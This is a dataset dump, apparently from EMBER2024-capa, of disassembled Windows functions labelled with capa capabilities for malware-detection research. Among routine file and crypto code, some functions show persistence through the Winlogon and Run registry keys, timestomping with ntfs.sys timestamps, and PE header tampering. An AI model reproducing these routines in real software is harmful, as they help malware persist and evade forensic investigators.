joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Get disk information
Persist via run registry key
Persist via winlogon helper dll registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov dword [ebp - 0x10], 0xff0ff
mov dword [ebp - 8], 0x104
mov dword [ebp - 0xc], 1
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x4010ce
lea eax, [ebp - 4]
push eax
push 0x20119
push 0
push str.softwaremicrosoftwindows_ntcurrentversionwinlogon
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0x104
lea ecx, [ebp - 0x114]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x10]
push edx
push 0
push 0
lea eax, [ebp - 0x114]
push eax
mov byte [ebp - 0x111], 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [ebp - 0x10]
push ecx
push 0x4081a8
lea edx, [ebp - 0x114]
push 0x104
push edx
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x10
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push 0x464cd8
lea ecx, [ebp - 0xc]
push ecx
push 0
lea edx, [ebp - 0x114]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 0x464cd8
mov esp, ebp
pop ebp
ret
lea edx, [ebp - 4]
push edx
push 0x20119
push 0
push str.softwaremicrosoftwindowscurrentversion_run
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edx, dword [ebp - 4]
lea eax, [ebp - 8]
push eax
push 0x464cd8
lea ecx, [ebp - 0xc]
push ecx
push 0
push str.userinit
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 0x464cd8
mov esp, ebp
pop ebp
ret

Function at 0x401120
Capabilities:
Clear file content
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0xc]
push edi
xor edi, edi
cmp eax, edi
je 0x40118e
cmp dword [ebp + 8], edi
je 0x40118e
cmp ebx, edi
je 0x40118e
push esi
push edi
push 0x80
push 2
push edi
push 3
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x401185
mov ecx, dword [ebp + 8]
push edi
lea eax, [ebp + 0xc]
push eax
push ebx
push ecx
push esi
mov dword [ebp + 0xc], edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40117e
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
je 0x40117e
mov edi, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov eax, edi
pop edi
pop ebx
pop ebp
ret 8
mov eax, edi
pop edi
pop ebx
pop ebp
ret 8
Function at 0x4018b0
Capabilities:
Access pe header
Clear file content
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 4], 0
test eax, eax
je 0x4019b5
push 0
lea ecx, [ebp - 4]
push ecx
call fcn.004011a0
mov edi, eax
test edi, edi
je 0x4019b5
push edi
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov ebx, eax
test ebx, ebx
je 0x401993
rdtsc
xor dword [0x454130], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor dword [0x454130], eax
push 0x40afcc
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x40192b
push str.RtlUniform
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40192b
push 0x454130
call eax
mov ecx, dword [0x454130]
xor edx, edx
or esi, 0xffffffff
mov eax, ecx
div esi
add eax, ecx
mov dword [ebx + 0x58], eax
mov eax, dword [ebp - 4]
mov ebx, eax
test eax, eax
je 0x401993
mov edx, dword [ebp + 8]
push 0
push 0x80
push 2
push 0
push 3
push 0xc0000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x401993
push 0
lea eax, [ebp + 8]
push eax
push ebx
push edi
push esi
mov dword [ebp + 8], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40198c
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push edi
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x4019b5
push edi
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x401a30
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x80
push 3
push 0
push 3
push 0x80000000
push str._globalroot_systemroot_system32drivers_ntfs.sys
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x401ab0
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x1c]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call ebx
mov eax, dword [ebp + 8]
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push eax
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x401ab0
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x401000
Capabilities:
Accept command line arguments
Parse pe header
Terminate process

Disassembly:
jmp 0x437bab
call fcn.0043bce1
jmp 0x437bb5
push 0x14
push 0x44e350
call fcn.0043a070
call fcn.00439d02
movzx esi, ax
push 2
call fcn.0043bc94
pop ecx
mov eax, 0x5a4d
cmp word [0x400000], ax
je 0x437be3
xor ebx, ebx
jmp 0x437c16
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x437bdf
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x437bdf
xor ebx, ebx
cmp dword [eax + 0x400074], 0xe
jbe 0x437c16
cmp dword [eax + 0x4000e8], ebx
setne bl
mov dword [ebp - 0x1c], ebx
call fcn.004392ac
test eax, eax
jne 0x437c2a
push 0x1c
call fcn.00437d05
pop ecx
call fcn.00439001
test eax, eax
jne 0x437c3b
push 0x10
call fcn.00437d05
pop ecx
call fcn.0043bd7d
and dword [ebp - 4], 0
call fcn.0043b6d0
test eax, eax
jns 0x437c55
push 0x1b
call fcn.00437d05
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x457718], eax
call fcn.0043bdbd
mov dword [0x453b90], eax
call fcn.0043b984
test eax, eax
jns 0x437c7b
push 8
call fcn.0043933e
pop ecx
call fcn.0043bbb3
test eax, eax
jns 0x437c8c
push 9
call fcn.0043933e
pop ecx
push 1
call fcn.00439378
pop ecx
test eax, eax
je 0x437c9f
push eax
call fcn.0043933e
pop ecx
call fcn.0043be4a
push esi
push eax
push 0
push 0x400000
call main
mov esi, eax
mov dword [ebp - 0x24], esi
test ebx, ebx
jne 0x437cc1
push esi
call fcn.004395e1
call fcn.00439369
jmp 0x437cf6
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
call fcn.0043a0b5
ret
Function at 0x402310
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
shr ebx, 2
push esi
mov esi, ecx
mov dword [ebp - 4], 1
mov eax, ebx
xor ecx, ecx
shr eax, 1
add eax, 3
mov dword [esi], eax
add esi, 0x10
push edi
test ebx, ebx
je 0x402345
mov eax, dword [edx]
lea edx, [edx + 4]
mov dword [esi + ecx*4], eax
inc ecx
cmp ecx, ebx
jb 0x402338
mov eax, dword [esi + ebx*4 - 4]
lea ecx, [ebx + 0xe]
lea ecx, [ebx + ecx*2]
lea edi, [esi + ecx*4]
mov dword [ebp + 8], edi
xor edi, edi
mov ecx, dword [ebp + 8]
lea ebx, [ebx]
test edi, edi
jne 0x4023c6
movzx ecx, al
mov edi, ebx
movzx edx, byte [ecx + str.cw]
mov ecx, eax
shr ecx, 0x18
shl edx, 8
movzx ecx, byte [ecx + str.cw]
or edx, ecx
mov ecx, eax
shr ecx, 0x10
and ecx, 0xff
shr eax, 8
and eax, 0xff
shl edx, 8
movzx ecx, byte [ecx + str.cw]
movzx eax, byte [eax + str.cw]
or edx, ecx
mov ecx, dword [ebp - 4]
xor eax, ecx
shl edx, 8
add ecx, ecx
or eax, edx
test ecx, 0x100
mov edx, 0x1b
cmovne ecx, edx
mov dword [ebp - 4], ecx
jmp 0x402419
cmp edi, 4
jne 0x40241c
cmp ebx, 6
jbe 0x40241c
mov ecx, eax
shr ecx, 0x10
and ecx, 0xff
movzx edx, byte [ecx + str.cw]
mov ecx, eax
shr ecx, 0x18
movzx ecx, byte [ecx + str.cw]
shl ecx, 8
or edx, ecx
mov ecx, eax
shr ecx, 8
and ecx, 0xff
shl edx, 8
movzx eax, al
movzx ecx, byte [ecx + str.cw]
movzx eax, byte [eax + str.cw]
or edx, ecx
shl edx, 8
or eax, edx
mov ecx, dword [ebp + 8]
xor eax, dword [esi]
dec edi
mov dword [esi + ebx*4], eax
add esi, 4
cmp esi, ecx
jne 0x402360
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x403140
Capabilities:
Check os version
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d4
mov eax, dword [0x450090]
xor eax, ebp
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp ax, 6
je 0x403189
push str.SetDefaultDllDirectories
push 0x445498
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x403189
push 0xc00
call eax
test eax, eax
jne 0x403227
push 0x106
lea eax, [ebp - 0x2d4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x403227
cmp eax, 0x104
ja 0x403227
cmp word [ebp + eax*2 - 0x2d6], 0x5c
je 0x4031c7
mov ecx, 0x5c
mov word [ebp + eax*2 - 0x2d4], cx
inc eax
cmp byte [str.userenv], 0
push esi
mov esi, str.userenv
je 0x403226
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push edi
lea edi, [ebp - 0x2d4]
lea edi, [edi + eax*2]
mov al, byte [esi]
mov ecx, edi
inc esi
test al, al
je 0x403200
movzx eax, al
mov word [ecx], ax
add ecx, 2
mov al, byte [esi]
inc esi
test al, al
jne 0x4031f0
xor eax, eax
mov dword [ecx], 0x64002e
push 8
push eax
mov word [ecx + 8], ax
lea eax, [ebp - 0x2d4]
push eax
mov dword [ecx + 4], 0x6c006c
call ebx
cmp byte [esi], 0
jne 0x4031e7
pop edi
pop ebx
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00435a0c
mov esp, ebp
pop ebp
ret
Function at 0x4084c0
Capabilities:
Hash data using sha256

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edx, dword [esi + 8]
and edx, 0x3f
mov byte [edx + esi + 0x40], 0x80
inc edx
cmp edx, 0x38
jbe 0x408509
cmp edx, 0x40
je 0x4084fb
mov ecx, 0x40
lea edi, [esi + 0x40]
sub ecx, edx
add edi, edx
mov edx, ecx
xor eax, eax
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esi]
lea edx, [esi + 0x40]
push 1
lea ecx, [esi + 0x20]
call eax
xor edx, edx
mov eax, 0x38
sub eax, edx
push eax
lea eax, [esi + 0x40]
add eax, edx
push 0
push eax
call fcn.004360d0
mov ecx, dword [esi + 8]
lea edx, [esi + 0x40]
mov eax, dword [esi + 0xc]
add esp, 0xc
shld eax, ecx, 3
shl ecx, 3
bswap eax
bswap ecx
mov dword [esi + 0x78], eax
mov eax, dword [esi]
mov dword [esi + 0x7c], ecx
lea ecx, [esi + 0x20]
push 1
call eax
mov edi, dword [ebp + 0xc]
lea edx, [esi + 0x20]
mov ebx, 4
nop
mov ecx, dword [edx + 4]
lea edi, [edi + 8]
mov eax, dword [edx]
lea edx, [edx + 8]
bswap eax
mov dword [edi - 8], eax
bswap ecx
mov dword [edi - 4], ecx
dec ebx
jne 0x408550
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
pop edi
mov dword [esi + 0x20], 0x6a09e667
mov dword [esi + 0x24], 0xbb67ae85
mov dword [esi + 0x28], 0x3c6ef372
mov dword [esi + 0x2c], 0xa54ff53a
mov dword [esi + 0x30], 0x510e527f
mov dword [esi + 0x34], 0x9b05688c
mov dword [esi + 0x38], 0x1f83d9ab
mov dword [esi + 0x3c], 0x5be0cd19
pop esi
pop ebx
pop ebp
ret 8

Function at 0x4085b0
Capabilities:
Hash data using sha256

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, dword [0x450020]
mov dword [ecx], eax
mov dword [ecx + 8], 0
mov dword [ecx + 0xc], 0
mov dword [ecx + 0x20], 0x6a09e667
mov dword [ecx + 0x24], 0xbb67ae85
mov dword [ecx + 0x28], 0x3c6ef372
mov dword [ecx + 0x2c], 0xa54ff53a
mov dword [ecx + 0x30], 0x510e527f
mov dword [ecx + 0x34], 0x9b05688c
mov dword [ecx + 0x38], 0x1f83d9ab
mov dword [ecx + 0x3c], 0x5be0cd19
pop ebp
ret 4

Function at 0x4089f0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push 0
push 0
call fcn.00436160
mov ecx, dword [ebp + 8]
add esp, 0x18
mov dword [ecx], eax
test eax, eax
je 0x408a1d
xor eax, eax
mov esp, ebp
pop ebp
ret 0xc
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
mov ecx, 1
cmovne ecx, eax
mov eax, ecx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x40b8f0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x443328
mov eax, dword fs:[0]
push eax
sub esp, 0x44
push ebx
push esi
push edi
mov eax, dword [0x450090]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp byte [0x453850], 0
mov edi, dword [ebp + 8]
jne 0x40b95f
push edi
lea eax, [ebp - 0x18]
push eax
call fcn.0040a090
push 0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push dword [ebp - 0x18]
mov esi, eax
call fcn.004366f4
add esp, 4
test esi, esi
je 0x40b982
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x40b982
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x40b9a5
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
lea ecx, [ebp - 0x50]
call fcn.0040c530
lea ecx, [ebp - 0x28]
call fcn.004090c0
push 0
push edi
lea ecx, [ebp - 0x50]
mov dword [ebp - 4], 0
call fcn.0040c910
test al, al
jne 0x40b9cf
xor bl, bl
jmp 0x40b9d8
mov ebx, dword [ebp - 0x30]
shr ebx, 4
and bl, 1
push dword [ebp - 0x28]
call fcn.004366f4
add esp, 4
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40ba00
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x453850], 0
jne 0x40ba40
push esi
push dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
call fcn.0040a090
push 0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.004366f4
add esp, 4
test esi, esi
pop esi
je 0x40ba57
mov al, 1
mov esp, ebp
pop ebp
ret 4
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x40ba57
mov al, 1
mov esp, ebp
pop ebp
ret 4
xor al, al
mov esp, ebp
pop ebp
ret 4
Function at 0x40bcf0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword [ebp + 8]
push esi
call fcn.0040d020
cmp eax, 0xffffffff
je 0x40bd1b
test al, 0x10
jne 0x40bd1b
test al, 1
je 0x40bd1b
and eax, 0xfffffffe
push eax
push esi
call fcn.0040c430
test al, al
je 0x40bd63
cmp byte [0x453850], 0
push esi
jne 0x40bd50
lea eax, [ebp - 0xc]
push eax
call fcn.0040a090
push dword [eax]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.004366f4
add esp, 4
test esi, esi
je 0x40bd63
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x40bd63
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret 4
xor al, al
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x40bd70
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x443396
mov eax, dword fs:[0]
push eax
sub esp, 0x360
mov eax, dword [0x450090]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
xor ecx, ecx
mov eax, dword [edi]
mov dword [edi + 4], 0
mov word [eax], cx
cmp byte [0x453850], cl
jne 0x40be1d
lea eax, [ebp - 0x128]
mov byte [ebp - 0x128], cl
push eax
push 0x114
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
je 0x40bee8
cmp eax, 0x114
jae 0x40bee8
lea eax, [ebp - 0x128]
mov byte [ebp - 0x14], 0
push eax
lea eax, [ebp - 0x36c]
push eax
call fcn.0040a060
push eax
mov ecx, edi
mov dword [ebp - 4], 0
call fcn.00409150
push dword [ebp - 0x36c]
call fcn.004366f4
add esp, 4
mov al, 1
jmp 0x40beea
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
xor eax, eax
mov word [ebp - 0x354], ax
lea eax, [ebp - 0x354]
push eax
push 0x114
call ebx
mov esi, eax
test esi, esi
je 0x40bee8
cmp esi, 0x114
jae 0x40be6a
xor eax, eax
mov ecx, edi
mov word [ebp - 0x12c], ax
lea eax, [ebp - 0x354]
push eax
call fcn.00409250
mov al, 1
jmp 0x40beea
lea ecx, [ebp - 0x360]
call fcn.004090c0
mov dword [ebp - 4], 1
cmp esi, dword [ebp - 0x358]
jbe 0x40be90
push esi
lea ecx, [ebp - 0x360]
call fcn.004099a0
push dword [ebp - 0x360]
push esi
call ebx
mov ebx, eax
test ebx, ebx
je 0x40beda
push esi
lea ecx, [ebp - 0x360]
call fcn.0040c060
cmp dword [ebp - 0x35c], ebx
jne 0x40beda
lea eax, [esi - 1]
cmp eax, ebx
jne 0x40beda
lea eax, [ebp - 0x360]
mov ecx, edi
push eax
call fcn.00409150
push dword [ebp - 0x360]
call fcn.004366f4
add esp, 4
mov al, 1
jmp 0x40beea
push dword [ebp - 0x360]
call fcn.004366f4
add esp, 4
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00435a0c
mov esp, ebp
pop ebp
ret 4
Function at 0x40bf70
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4433cb
mov eax, dword fs:[0]
push eax
sub esp, 0x354
mov eax, dword [0x450090]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp byte [0x453850], 0
mov esi, dword [ebp + 8]
jne 0x40bffd
lea eax, [ebp - 0x128]
mov byte [ebp - 0x128], 0
push eax
push 0x114
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edi, eax
lea eax, [ebp - 0x128]
push eax
lea eax, [ebp - 0x360]
push eax
call fcn.0040a060
push eax
mov ecx, esi
mov dword [ebp - 4], 0
call fcn.00409150
push dword [ebp - 0x360]
mov dword [ebp - 4], 0xffffffff
call fcn.004366f4
add esp, 4
jmp 0x40c028
xor eax, eax
mov word [ebp - 0x354], ax
lea eax, [ebp - 0x354]
push eax
push 0x114
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edi, eax
mov ecx, esi
lea eax, [ebp - 0x354]
push eax
call fcn.00409250
push esi
call fcn.0040df60
test edi, edi
je 0x40c03e
cmp edi, 0x114
jae 0x40c03e
mov al, 1
jmp 0x40c040
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00435a0c
mov esp, ebp
pop ebp
ret 4

Function at 0x40c0c0
Capabilities:
Delete directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x453850], 0
jne 0x40c0fe
push esi
push dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
call fcn.0040a090
push dword [eax]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.004366f4
add esp, 4
test esi, esi
pop esi
je 0x40c113
mov al, 1
mov esp, ebp
pop ebp
ret 4
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
je 0x40c113
mov al, 1
mov esp, ebp
pop ebp
ret 4
xor al, al
mov esp, ebp
pop ebp
ret 4

Function at 0x40c360
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x453850], 0
jne 0x40c39d
push esi
push dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
call fcn.0040a090
push dword [eax]
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.004366f4
add esp, 4
test esi, esi
setne al
pop esi
mov esp, ebp
pop ebp
ret 4
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
neg eax
sbb eax, eax
neg eax
mov esp, ebp
pop ebp
ret 4

Function at 0x40c430
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x453850], 0
jne 0x40c471
push esi
push dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
call fcn.0040a090
push dword [ebp + 0xc]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.004366f4
add esp, 4
test esi, esi
pop esi
je 0x40c489
mov al, 1
mov esp, ebp
pop ebp
ret 8
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
je 0x40c489
mov al, 1
mov esp, ebp
pop ebp
ret 8
xor al, al
mov esp, ebp
pop ebp
ret 8
Function at 0x40d020
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x453850], 0
jne 0x40d05a
push esi
push dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
call fcn.0040a090
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.004366f4
add esp, 4
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 4
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
or ecx, 0xffffffff
cmp eax, 0xffffffff
cmovne ecx, eax
mov eax, ecx
mov esp, ebp
pop ebp
ret 4

Function at 0x40d350
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40d382
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x40d382
xor al, al
pop esi
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp + 8]
xor ecx, ecx
mov edx, dword [ebp - 4]
add ecx, esi
pop esi
adc edx, 0
mov dword [eax], ecx
mov dword [eax + 4], edx
mov al, 1
mov esp, ebp
pop ebp
ret 4

Function at 0x40d480
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0x10]
mov edx, 0x400000
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 4], ecx
mov dword [ebx], 0
mov edi, edi
push 0
lea eax, [ebp + 0x10]
mov dword [ebp + 0x10], 0
push eax
cmp esi, 0x400000
mov eax, esi
cmova eax, edx
push eax
push edi
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp + 0x10]
add dword [ebx], ecx
test eax, eax
je 0x40d4e8
test ecx, ecx
je 0x40d4dd
add edi, ecx
mov edx, 0x400000
sub esi, ecx
mov ecx, dword [ebp - 4]
jne 0x40d4a0
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 0xc
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x40d7a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0x10]
mov edx, 0x400000
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 4], ecx
mov dword [ebx], 0
mov edi, edi
cmp esi, 0x400000
mov dword [ebp + 0x10], 0
push 0
mov eax, esi
cmova eax, edx
lea edx, [ebp + 0x10]
push edx
push eax
push edi
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp + 0x10]
add dword [ebx], ecx
test eax, eax
je 0x40d808
test ecx, ecx
je 0x40d7fd
add edi, ecx
mov edx, 0x400000
sub esi, ecx
mov ecx, dword [ebp - 4]
jne 0x40d7c0
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 0xc
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 0xc